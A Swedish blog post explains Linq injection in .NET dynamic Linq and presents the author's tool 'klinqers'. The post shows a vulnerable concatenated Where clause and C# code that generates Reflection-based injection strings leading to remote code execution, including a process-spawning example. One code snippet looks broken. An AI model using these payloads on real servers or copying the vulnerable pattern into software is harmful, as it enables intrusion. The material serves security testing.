En kort reflektion över felande länkar
Som titeln ger tydliga ledtrådar om så handlar dagens blogg om hur .NET Reflection kan användas för att utnyttja Linq-injection-sårbarheter. Linq-injection uppstår då dynamiska Linq-uttryck används tillsammans med felaktig eller saknad indatakontroll.
.NET Linq-uttryck är vanligen inte sårbara för injektionsattacker eftersom de är explicit parametriserade. Men sedan Microsoft skänkte världen dynamisk Linq skapar det möjligheter för programmerare att åstadkomma säkerhetsproblematik såsom Remote Code Execution (RCE) även med Linq-uttryck.
Ett sårbart dynamiskt Linq-uttryck kan se ut något liknande som visas nedanstående pseudokod:
DataStore get(string vulnerableParameter) {
var result = BunchOfData.Where("id=0 AND x=" + vulnerableParameter);
return result;
}
Det vill säga att man konkatenerar logiken direkt in i Linq-uttrycket. Vid länkarna i referenslistan kan man sätta sig in i mer detaljer kring hur Linq-injection funkar och varför.
Verktyget klinqers
Ett dynamiskt Linq-uttryck verkar dock inte som default kunna skapa nya objekt eller typecasta objekt. Detta gör att man, ifall man behöver utnyttja en linq-injection-sårbarhet, behöver gå omvägen genom .NET Reflection-metoderna i existerande objekt. Eftersom .NET Reflection har den kraftfullhet som krävs för att hitta och skapa nya objekt utifrån metadata kring klassen som ska instantieras är detta inte något stort problem. Det skapar dock restriktioner över hur en injection-kod behöver formatteras för att slutligen exekvera. För att på ett enklare sätt kunna utvärdera dynamisk Linq-injection-sårbaheter har jag därför skapat ett litet verktyg för att generera injection-kod utifrån vilken funktion man vill exekvera på den sårbara servern.
Nedan visas hur injektionskod för en enkel statisk API-funktion kan genereras. Listan med strängar till buildParameterString() ska innehålla värdet till de parametrar som ska användas i anropet. Koden kan användas som en sammanfattande förklaring i kodformat över resonemanget kring Linq-injection i https://insinuator.net/2016/10/linq-injection-from-attacking-filters-to-code-execution/ .
// Skapa inject-kod
public string buildParameterString(List<string> lstValues)
{
if (parameterType == typeof(String))
{
string strInvokeContent = getInvokeContent(lstValues);
string strCall = getCall();
string strRetval = $"{strCall}.Invoke({strInvokeContent})";
return strRetval;
}
return null;
}
// Call-delen genereras olika ifall det är en överlagrad
// funktion som ska anropas eller ej.
string getCall()
{
if (this.bRequirePosition)
{
return $"\"\".GetType().Assembly.GetType(\"{type.ToString()}\").GetMethods()[{methodPosition}]";
return $"\"\".GetType().Assembly.GetType(\"{type.ToString()}\").GetMethod(\"{strMethodPart}\")";
}
// Invoke-delen
string getInvokeContent(List<string> lstValues)
{
string strSplitter = "#"; // Själva avdelar-värdet
//för att skapa ett giltigt anrop till Split-funktionen
string strArray = String.Join(strSplitter, lstValues);
string strRetval = "null,\"" + strArray + "\".Split(\"" + strSplitter + "\".ToCharArray())";
return strRetval;
}
Nedan visas ett körningsexempel över hur man kan använda verktyget för att skapa inject-kod (se röd text i output) för ett harmlöst anrop till File.Exists(). Resultatet (sista raden i output) noterar en strängkonvertering av det objekt som returneras vid anropet (i detta fall konverterad Bool från true till strängen True).
Nedan visas ett annat körningsexempel för hur en process skulle kunna spawnas på ett system med ett sårbart Linq-uttryck. Siffrorna för metod-positionerna (44 och 18 i inject-koden nedan) skapas utifrån den version som exekverar .NET-koden så ifall det är ett system med .NET-version 4.7.5.1 som ska testas så behöver klinqers.exe vara kompilerat med den versionen. I tidigare exempel finns inga överlagrade funktioner och därför behövs inte dessa positioner i arrayen med metod-metadata. Eftersom parameter –test används så exekverar även det anrop som inject-kod skapas för. I detta fall exekveras då ”ls -l” (lista kataloger/filer i ett linux-system). Output skrivs till stdout (som visas med den gula texten).
Källkoden till verktyget nås på länken nedan:
https://github.com/jamesrep/klinqers
Referenser
http://msdn.microsoft.com/en-us/vcsharp/bb894665.aspx
https://stackoverflow.com/questions/8738953/is-injection-possible-through-dynamic-linq
https://insinuator.net/2016/10/linq-injection-from-attacking-filters-to-code-execution/